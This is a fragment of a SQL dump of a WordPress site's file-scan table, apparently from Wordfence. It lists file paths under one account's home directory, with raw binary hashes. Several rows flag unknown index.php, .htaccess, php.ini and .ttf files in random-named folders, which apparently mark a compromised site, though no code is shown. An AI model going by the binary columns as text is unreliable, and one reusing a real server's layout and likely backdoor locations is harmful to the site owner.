('o>7)\"&g','wp-content/plugins/wordfence/modules/login-security/css/login.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/login.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!tw9','_H:V=S{,:K~q','',0,'?'),
('o	\r!\rV','wp-content/plugins/loginizer/lib/hybridauth/HttpClient/HttpClientInterface.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/HttpClient/HttpClientInterface.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','߃D9KF;pi','dn\0t\0oW^^}Je0W','',0,'?'),
('ow>cuis','wp-includes/blocks/term-template.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#{SSO','ޗmh\nhˌa:_fG-`)*Z','',0,'?'),
('o	ǻ	&c','wp-includes/blocks/paragraph/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/paragraph/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s9\n}	q¾','Ŕl~%\"Q ^Db\\','',0,'?'),
('o60>\r','wp-content/plugins/wordfence/views/scanner/text/issue-base.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-base.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZF(T','Ep\Ztjr8v&WdS4b','',0,'?'),
('ow*\nΛ΢GҜ]','wp-content/plugins/wordfence/modules/login-security/img/header.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/header.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p]j-','8#̄(8O\"	+h\"Fb','',0,'?'),
('o[CO)F<\ZSܮ','wp-content/themes/twentytwentyfive/styles/colors/02-noon.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/02-noon.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b`CgE|9~U','ճ5-49t~ƃKk,?','',0,'?'),
('oIU[uY:','wp-content/themes/twentytwentyfive/patterns/hidden-search.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hidden-search.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']%HH9cKxW','f?0M`vƗ\"n','',0,'?'),
('o㮚-;?X:pҡ','wp-trackback.php','/home/trevorkl/trevorklee.com/wp-trackback.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O(t:]k','Ӵ,dX,#&VAo','',0,'?'),
('oYڅX','wp-content/plugins/wordfence/images/flags.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/flags.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W7 (˿!\Z7','Bx0%Ly6!X\\z/<n6=\ZW','',0,'?'),
('o[n3uʹP5','wp-admin/options-general.php','/home/trevorkl/trevorklee.com/wp-admin/options-general.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E+\0:we@','aEj9e\0[3qi~ZeTU!','',0,'?'),
('p7uL_{2Û','wp-includes/js/jquery/ui/draggable.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/draggable.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZA[\"rr3C','5sɦ^M~t$2{\\','',0,'?'),
('pt@CF','wp-includes/blocks/template-part/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/template-part/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ed]ĬB\r	','ģ6o_i9-UL9#ܞfz%cSJs','',0,'?'),
('p+~(`_nh','wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ڠrJxaY','6wZy\"pqUQx21WY	','',0,'?'),
('p6YR\Z5','wp-content/themes/twentytwentyfive/patterns/template-single-offset.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-single-offset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@Oo\ZirҴEA]','`}9ݻr?~H;$!8ǝ_STD6','',0,'?'),
('p;?֒\"C1.','wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/index.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/index.php',0,'.F\Z/M','.F\Z/M','dIBC@e\0.1Mjk\"C@','',0,'?'),
('p?u;0^z;H','wp-content/plugins/loginizer/assets/images/backuply-black.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/backuply-black.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','acB%4w\'U&','^6F*O+*qk:(]^','',0,'?'),
('pMbVZ;','wp-includes/blocks/media-text.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/media-text.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XM6|~dz','Kn:7Y$޽ÓRӆ5','',0,'?'),
('pUya	bva;8','wp-includes/js/comment-reply.js','/home/trevorkl/trevorklee.com/wp-includes/js/comment-reply.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U08\n[ƇLf\Z@','!OW,`#w=r[|ҧN!5','',0,'?'),
('pVYa\0צּ=','wp-admin/error_log','/home/trevorkl/trevorklee.com/wp-admin/error_log',0,'AzD vy<-','AzD vy<-','㜷-2ꐊ>u$}pʬͅ','',0,'?'),
('p]=LxRWS','wp-includes/sitemaps/svjbhyp/nogdurq/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/svjbhyp/nogdurq/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
('pbA]%ꞢSV8','wp-includes/block-supports/background.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/background.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',17H:','۠>!y8u\\Y9]','',0,'?'),
('pwQFcߠb*','wp-content/plugins/wordfence/fonts/roboto-KFOmCnqEu92Fr1Mu4mxMKTU1Kg.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOmCnqEu92Fr1Mu4mxMKTU1Kg.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@$qG2k5$z','ֆF*`\'O triR:j0W\Z=j','',0,'?'),
('p|R\nw','wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidOauthTokenException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidOauthTokenException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W.	1#o>]8','hҷAfy4Й>[#h','',0,'?'),
('p.а[ÍD','wp-includes/deprecated.php','/home/trevorkl/trevorklee.com/wp-includes/deprecated.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~Nz','^[⾂Y{cZV','',0,'?'),
('pC__qd','wp-includes/Text/Diff/Engine/osnqrqorporop.ttf','/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/osnqrqorporop.ttf',0,'!$KT%','!$KT%','|\rF&_Ԃ́O\0\neZ','',0,'?'),
('pȗ-wu','wp-includes/blocks/post-author-biography/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-biography/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʂnX\'\'XU','\nL]ZU3	&7=Zk^','',0,'?'),
('p\\*e\n\rψ','wp-content/plugins/wordfence/modules/login-security/classes/controller/notices.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/notices.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']sh=	O','Ӈ$	eWM2-&Idb\0S','',0,'?'),
('pŧ\n+R2Zb','wp-includes/blocks/post-title/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-title/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+Ib=bo\\`h','J(JQXClSM:`2','',0,'?'),
('pj}u陉3','wp-content/themes/twentytwentyfive/patterns/hidden-blog-heading.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hidden-blog-heading.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RCtJ,*','أHv}AVAjġN>E','',0,'?'),
('p̓02@PFtk','wp-content/plugins/wordfence/views/common/unsubscribe.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/common/unsubscribe.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#AI2Y:','z|hH(y9`','',0,'?'),
('p}GJ$x','wp-includes/block-supports/align.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/align.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'joyJ','^{L7\\br;GτR;֒','',0,'?'),
('pdGsm0','wp-content/maintenance/assets/timer.js','/home/trevorkl/trevorklee.com/wp-content/maintenance/assets/timer.js',0,'I084Եl\0F','I084Եl\0F','E.OK\Z=JDK5%','',0,'?'),
('pb~oBkZ','wp-content/plugins/akismet/class.akismet.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class.akismet.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3dZI`;*rh','i0i) :>$pd,TP','',0,'?'),
('puwSɴ0','wp-content/plugins/hello.php','/home/trevorkl/trevorklee.com/wp-content/plugins/hello.php',0,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Et5\0Pw','fs	uc~0bI&5)','',0,'1'),
('qqC$@','wp-content/plugins/wordfence/views/common/page-title.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/common/page-title.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5*<X;','N5%=kUHVKAlEI\"3j','',0,'?'),
('qsAtd\\','wp-includes/js/dist/warning.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/warning.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	zBXm[(@;S','\0ޝvp,ia7:/\rY\'W_U','',0,'?'),
('q\r^n3\0Ӊ','wp-content/plugins/wordfence/modules/login-security/js/wflsi18n.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/wflsi18n.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XIf4@!(','r\nwl~V=8v\rb\\ɔ]Vq','',0,'?'),
('q\"co>2Rh]','wp-admin/includes/plugin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/plugin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ŚK%d','Q]G8tn\"^I-f\"7S+t[','',0,'?'),
('q%)ud	','wp-includes/blocks/buttons/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/buttons/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$p;X4䔄','y(^ݚ׾U=;C/_Bә','',0,'?'),
('q1HamH Q&pR-^D','wp-includes/blocks/image/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','djvY#vc|/?޻d','H7%:6x:?ߕd>E','',0,'?'),
('q5.6BK)w','wp-includes/js/dist/vendor/react-jsx-runtime-19.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/react-jsx-runtime-19.min.js',0,'90$xoa_R','90$xoa_R','扙ʑGEa.D35','',0,'?'),
('qLILc','wp-includes/class-wp-recovery-mode-link-service.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-recovery-mode-link-service.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zBWZ 	m\r\0','t\n_qGƵby}2+\0I','',0,'?'),
('qh665y|=?S	','wp-includes/js/jquery/jquery.serialize-object.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.serialize-object.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*DB\ru6!','`RԶ2ɀ`MxiGfzC2','',0,'?'),
('qjO.CެИ}','wp-includes/blocks/navigation-submenu.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-submenu.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B-aKh]\0q]','VSgn}3ad$\Z|2z','',0,'?'),
('q}:$5cjb/','wp-content/themes/twentytwentyone/style.css.map','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/style.css.map',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ă7OjO[25o','8q&\\͙^%Ø]	ԅ@T]','',0,'?'),
('qDH^2/j1V6=','wp-includes/Text/elbyraq/1qafueo/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('qfEH7d','wp-includes/css/dist/editor/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/editor/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m_MiMJI','_~-Zom,lVOyD;7','',0,'?'),
('qsƞù','wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','еGt㣤St','~eI{_dz²G\ZT岏Z-','',0,'?'),
('q.Gu$','wp-includes/blocks/comment-date/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-date/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e\08/>YF','½2}8ezF>X:f\0Y\"Mꄴ','',0,'?'),
('qZ\0=s\r\r','wp-includes/blocks/text-columns/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/text-columns/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J̜\"Ա1R','as\0J2JIo&3Q8&NT3W','',0,'?'),
('qR+q\Z2','wp-includes/js/dist/edit-post.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/edit-post.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l 8S.*s6],y','`|N\'˗zU^V%%','',0,'?'),
('q05','wp-includes/sodium_compat/src/Core32/SipHash.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/SipHash.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5O&?E	%','^%%hT,k2Ȯn=n%:','',0,'?'),
('qEv{Z[','wp-content/plugins/wordfence/vendor/composer/InstalledVersions.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/InstalledVersions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q~f\"','p,-gWԎW.cEM','',0,'?'),
('q5@*=&\\X','wp-content/plugins/wordfence/lib/wfHelperBin.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfHelperBin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';!ȍ4QX#','չ%-^qUqMeY','',0,'?'),
('qJ1Rg1ЯO\0O','wp-content/plugins/wordfence/modules/login-security/js/vue.esm-browser.prod.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/vue.esm-browser.prod.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',e\n\ZYs','ϵܧ>4|mbs](Po%9.','',0,'?'),
('q$\'6e-W]','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/PHP52/SplFixedArray.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/PHP52/SplFixedArray.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b+LLn=˔\"',';	\r0ijUvaJ\rS,Y','',0,'?'),
('qCIVge,1','wp-includes/css/dist/block-library/editor-elements.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/editor-elements.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c|$\0{o','$2iQf~\':Sr4:A>','',0,'?'),
('ql,#\nm','wp-includes/js/swfupload/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/swfupload/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('qi֬yd+O\'','wp-includes/css/dist/commands/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/commands/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!a\Z,BȞϵ','>6h& ;\"Oю}\rYx^giDц','',0,'?'),
('qh\0\'v\"1k','wp-includes/blocks/comment-author-name/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-author-name/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x9\rp\r8K','|ާBOCoi77=_!]Б','',0,'?'),
('r[s2<u','wp-content/themes/twentytwentyone/assets/sass/06-components/posts-and-pages.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/posts-and-pages.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g<QP;z[Ѩɹ','jQo<>\nYg1b','',0,'?'),
('rhvLk/','wp-admin/network/upgrade.php','/home/trevorkl/trevorklee.com/wp-admin/network/upgrade.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_ĩ\rp.k','<4FXA_XOZDh','',0,'?'),
('r\"%1}/2Y','wp-includes/blocks/pullquote/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','({v.d','t+9CQ0aB2PQ\\M2\0F','',0,'?'),
('r+zk; 4WI','wp-includes/js/tinymce/themes/modern/theme.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/themes/modern/theme.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(3oU2ŝU2','2.pt\"r`)\r.Cl\\\ZBIX','',0,'?'),
('r3\0=\rjBZ','wp-includes/js/dist/widgets.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/widgets.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M/\'AKY*L','Aw!Z~Čyyް9_=¾ ','',0,'?'),
('rI\0ygE!2\0C','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lE12mX;','Yjl\'1;n8y`L dZRtkZߛc','',0,'?'),
('rV#֗?_Gk;','wp-includes/sitemaps/1xuftgv/dtrewsx/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
('rZ63F^vn	','wp-includes/blocks/post-time-to-read/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-time-to-read/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('re\'۷11d8','wp-content/themes/twentytwentyone/style.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TcF-MӍ','qfm\'-<]1P;ðO^s̖	U','',0,'?'),
('rtIg[;?','wp-includes/sodium_compat/namespaced/Core/Salsa20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rVNck0}/Ճ','nKkZ	 N$  EКe$','',0,'?'),
('r(n՞jb\"','wp-admin/js/media.js','/home/trevorkl/trevorklee.com/wp-admin/js/media.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/dbq0','m2\neb+HHVgꖃ@','',0,'?'),
('r&EeDq','wp-includes/blocks/social-links/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-links/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ma:t','-m*tb\"\"\"NZ}c˅','',0,'?'),
('rӺ9ӕykk2','wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/php.ini','/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('rnz\0`]e#+t','wp-includes/blocks/comments-pagination-previous/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-previous/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#nq6ϟ\\','\0e\'a 2A=Fd]0$f*d@','',0,'?'),
('r3e\\,Sq','wp-includes/class-wp-block-supports.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-supports.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6<3묉E','Nb>%8]vm>!Xfj','',0,'?'),
('r_/HG=%<','wp-includes/images/arrow-pointer-blue-2x.png','/home/trevorkl/trevorklee.com/wp-includes/images/arrow-pointer-blue-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%mrތ]49c','{&DOzAf/gáA]~(','',0,'?'),
('rr(Jg(yt','wp-includes/js/mce-view.js','/home/trevorkl/trevorklee.com/wp-includes/js/mce-view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(a3[Mz>','B	=<GcO.η7)f','',0,'?'),
('r)el','wp-includes/css/dist/list-reusable-blocks/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/list-reusable-blocks/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_bМmA','̮\\\\\0_r؁I^gd~Mcx','',0,'?'),
('rh^g=','wp-includes/blocks/embed/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/P\\A8X','0EHCg\\,1m#5}','',0,'?'),
('r\nb#','wp-admin/css/media-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/media-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cV%̊','aMNFQȺos_T+c0','',0,'?'),
('s&繗DClsH','wp-content/themes/twentytwentyone/assets/sass/05-blocks/heading/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/heading/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!<9Ӫ',':̶&E \0@ؼkP	n2RI','',0,'?'),
('s1Ai(KM[h','wp-includes/css/dist/base-styles/admin-schemes.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/base-styles/admin-schemes.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','><;-\Z7[;@i','0U~b\n):cjqX^^ePN','',0,'?'),
('sLYCa','wp-includes/blocks/embed/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\\"m]@C','*ē#FϚ\0jk5h5ݢ<','',0,'?'),
('sTjU29C','wp-content/plugins/loginizer/lib/hybridauth/Adapter/AdapterInterface.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Adapter/AdapterInterface.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-\r`<X/F','Qvهb	8NyE>C۩','',0,'?'),
('saOY,~r൭k','wp-includes/blocks/search/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[svpӋna[','\"_Ȏ%?҂9NlJwAC9)\'	','',0,'?'),
('sӣJ~k','wp-content/plugins/akismet/views/stats.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/stats.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Swg)L\'EsV','TO*䰤\n?rӳP:`E^+:','',0,'?'),
('sEΞqpB','wp-admin/css/widgets-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/widgets-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$CDTU','+U9=xч˄Ye*l@ɻP','',0,'?'),
('s\r\'n=@','wp-content/themes/twentytwentyfour/patterns/template-search-blogging.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-search-blogging.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SCR(Mƅ','V0|ƪLJԶ+XL~C','',0,'?'),
('s(:ӣ$\r','wp-content/themes/twentynineteen/style.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pPWQo)/T]','YaމF>wD,\0%[N','',0,'?'),
('s]Pf\n','wp-content/themes/twentynineteen/sass/variables-site/_columns.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/variables-site/_columns.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':+<>3K','w0̃|^;YmnLi24','',0,'?'),
('sVo3%Bl7E','wp-includes/SimplePie/src/XML/Declaration/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/XML/Declaration/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('sŏU\'e@d','wp-includes/js/tinymce/plugins/fullscreen/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/fullscreen/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ғ:K[Iw\\g','`e	nOJM%NhA{ghf','',0,'?'),
('s4RX>O','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_777777_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_777777_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h^n=(&݂N&','SDIBz_-?(YpEyƹA','',0,'?'),
('s˱Y*uO','wp-content/plugins/wordfence/vendor/composer/autoload_psr4.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/autoload_psr4.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^ˀJΗrhZ/Na$','	:H0v=T$bԆ^s\\71͐','',0,'?'),
('s*TV1oE','wp-includes/js/jquery/ui/effect-blind.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-blind.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O`4o<X#','ai[I7JH&Gvc','',0,'?'),
('sC4M**B)','wp-includes/css/wp-pointer.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-pointer.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DIs?+Ն','GM˾Wiu>݌M9','',0,'?'),
('t^s6rQ;AG\r','wp-includes/Text/icatnpe/yrpuihc/yjqepgf/index.php','/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/yrpuihc/yjqepgf/index.php',0,'\n`x6\'\0l(_9','\n`x6\'\0l(_9','`1]ò޽b8_\0\'b:$e#څ','',0,'?'),
('t	U iާ\"s','wp-includes/blocks/buttons/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/buttons/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$p;X4䔄','y(^ݚ׾U=;C/_Bә','',0,'?'),
('t ~@r.W8_','wp-includes/blocks/avatar/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/avatar/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Xl}EG\0~<Y>','W8\01WSac)#\n77N','',0,'?'),
('t}۴ p\Z','wp-includes/block-supports/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/block-supports/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('tá\r滮','wp-includes/SimplePie/src/HTTP/Psr7Response.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/Psr7Response.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w~T~?j$K8','>!\rhAs=7=cd}ޚ','',0,'?'),
('t&Ӆ~e','wp-content/themes/twentytwentytwo/inc/patterns/header-title-and-button.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-title-and-button.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=my	b','G	N,P@={Gaj?tsxx','',0,'?'),
